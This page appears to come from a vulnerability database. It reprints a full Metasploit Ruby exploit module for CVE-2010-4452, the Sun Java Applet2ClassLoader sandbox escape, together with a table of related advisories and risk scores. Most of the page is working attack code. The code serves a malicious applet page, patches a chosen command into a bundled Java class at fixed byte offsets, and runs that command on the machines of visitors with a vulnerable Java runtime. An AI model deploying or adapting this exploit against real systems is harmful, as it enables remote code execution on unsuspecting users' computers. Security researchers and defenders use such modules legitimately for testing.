Sun Java Applet2ClassLoader - Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Java Runtime Environment Escape Sandbox Vulnerabilit

Reporter	Title	Published	Views	Family All 66
0day.today	Sun Java Applet2ClassLoader Remote Code Execution Exploit	17 Mar 201100:00	–	zdt
Circl	CVE-2010-4452	16 Mar 201100:00	–	circl
Check Point Advisories	Oracle Java Applet2ClassLoader Remote Code Execution (CVE-2010-4452)	31 May 201100:00	–	checkpoint_advisories
CVE	CVE-2010-4452	17 Feb 201118:31	–	cve
Cvelist	CVE-2010-4452	17 Feb 201118:31	–	cvelist
canvas	Immunity Canvas: CVE_2010_4452	17 Feb 201119:00	–	canvas
d2	DSquare Exploit Pack: D2SEC_CLASSLOADER	17 Feb 201119:00	–	d2
Exploit DB	Sun Java Applet2ClassLoader - Remote Code Execution (Metasploit)	16 Mar 201100:00	–	exploitdb
Tenable Nessus	GLSA-201111-02 : Oracle JRE/JDK: Multiple vulnerabilities (BEAST)	7 Nov 201100:00	–	nessus
Tenable Nessus	Oracle Java SE Multiple Vulnerabilities (February 2011 CPU)	16 Feb 201100:00	–	nessus


                                                ##
# $Id: java_codebase_trust.rb 11983 2011-03-16 05:01:29Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;
require &#39;rex&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize( info = {} )
		super( update_info( info,
			&#39;Name&#39;          =&#62; &#39;Sun Java Applet2ClassLoader Remote Code Execution Exploit&#39;,
			&#39;Description&#39;   =&#62; %q{
					This module exploits a vulnerability in Java Runtime Environment
				that allows an attacker to escape the Java Sandbox. By supplying a 
				codebase that points at a trusted directory and a code that is a URL that
				does not contain an dots an applet can run without the sandbox.

				The vulnerability affects version 6 prior to update 24.
			},
			&#39;License&#39;       =&#62; MSF_LICENSE,
			&#39;Author&#39;        =&#62; [
					&#39;Frederic Hoguin&#39;, # Discovery, PoC
					&#39;jduck&#39;            # Metasploit module
				],
			&#39;Version&#39;       =&#62; &#39;$Revision: 11983 $&#39;,
			&#39;References&#39;    =&#62;
				[
					[ &#39;CVE&#39;, &#39;2010-4452&#39; ],
					# [ &#39;OSVDB&#39;, &#39;&#39; ],
					[ &#39;URL&#39;, &#39;http://www.zerodayinitiative.com/advisories/ZDI-11-084/&#39; ],
					[ &#39;URL&#39;, &#39;http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/&#39; ],
					[ &#39;URL&#39;, &#39;http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html&#39; ]
				],
			&#39;Platform&#39;      =&#62; [ &#39;java&#39;, &#39;win&#39; ],
			&#39;Payload&#39;       =&#62; { &#39;Space&#39; =&#62; 20480, &#39;BadChars&#39; =&#62; &#39;&#39;, &#39;DisableNops&#39; =&#62; true },
			&#39;Targets&#39;       =&#62;
				[
					# OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23
					# FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23
					[ &#39;Automatic (no payload)&#39;, { } ]
=begin
					[ &#39;Windows x86&#39;,
						{
							&#39;Arch&#39; =&#62; ARCH_X86,
							&#39;Platform&#39; =&#62; &#39;win&#39;,
						}
					],
					[ &#39;Generic (Java Payload)&#39;,
						{
							&#39;Arch&#39; =&#62; ARCH_JAVA,
							&#39;Platform&#39; =&#62; &#39;java&#39;,
						}
					],
=end
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Feb 15 2011&#39;
			))
	
		register_options(
			[
				OptString.new(&#39;CMD&#39;, [ false,  &#34;Command to run.&#34;, &#34;calc.exe&#34;]),
				OptString.new(&#39;LIBPATH&#39;, [ false,  &#34;The codebase path to use (privileged)&#34;,
					&#34;C:\\Program Files\\java\\jre6\\lib\\ext&#34;]),
			], self.class)
	end

	def exploit
		path = [ Msf::Config.data_directory, &#34;exploits&#34;, &#34;cve-2010-4452&#34;, &#34;AppletX.class&#34; ].join(::File::SEPARATOR)
		@java_class = nil
		File.open(path, &#34;rb&#34;) { |fd|
			@java_class = fd.read(fd.stat.size)
		}
		if not @java_class
			raise RuntimeError, &#34;Unable to load java class&#34;
		end

		super
	end

	def on_request_uri(cli, request)
		#print_status(&#34;Received request: #{request.uri}&#34;)

		jpath = get_uri(cli)
		#print_status(jpath)

		# Do what get_uri does so that we can replace it in the string
		host = Rex::Socket.source_address(cli.peerhost)
		host_num = Rex::Socket.addr_aton(host).unpack(&#39;N&#39;).first

		codebase = &#34;file:&#34; + datastore[&#39;LIBPATH&#39;]
		code_url = jpath.sub(host, host_num.to_s)

		cmd = datastore[&#39;CMD&#39;]
		cmd_off = 0xb4

		cn_off = 0xfc

		case request.uri

		when /\.class$/
			#p = regenerate_payload(cli)

			print_status(&#34;Sending class file to #{cli.peerhost}:#{cli.peerport}...&#34;)

			cls = @java_class.dup
			cls[cmd_off,2] = [cmd.length].pack(&#39;n&#39;)
			cls[cmd_off+2,8] = cmd

			cn_off += (cmd.length - 8)  # the original length was 8 (calc.exe)
			cls[cn_off,2] = [code_url.length].pack(&#39;n&#39;)
			cls[cn_off+2,7] = code_url

			#File.open(&#39;ughz.class&#39;, &#39;wb&#39;) { |fd| fd.write cls }

			send_response(cli, cls, { &#39;Content-Type&#39; =&#62; &#34;application/octet-stream&#34; })
			handler(cli)

		else
			html = &#60;&#60;-EOS
&#60;html&#62;
&#60;body&#62;
&#60;applet codebase=&#34;#{codebase}&#34; code=&#34;#{code_url}&#34; /&#62;
&#60;/body&#62;
&#60;/html&#62;
EOS
			print_status(&#34;Sending HTML file to #{cli.peerhost}:#{cli.peerport}...&#34;)
			send_response_html(cli, html)
			handler(cli)
		end

	end

end

01 Jul 2014 00:00Current

0.4Low risk

Vulners AI Score0.4

EPSS0.84896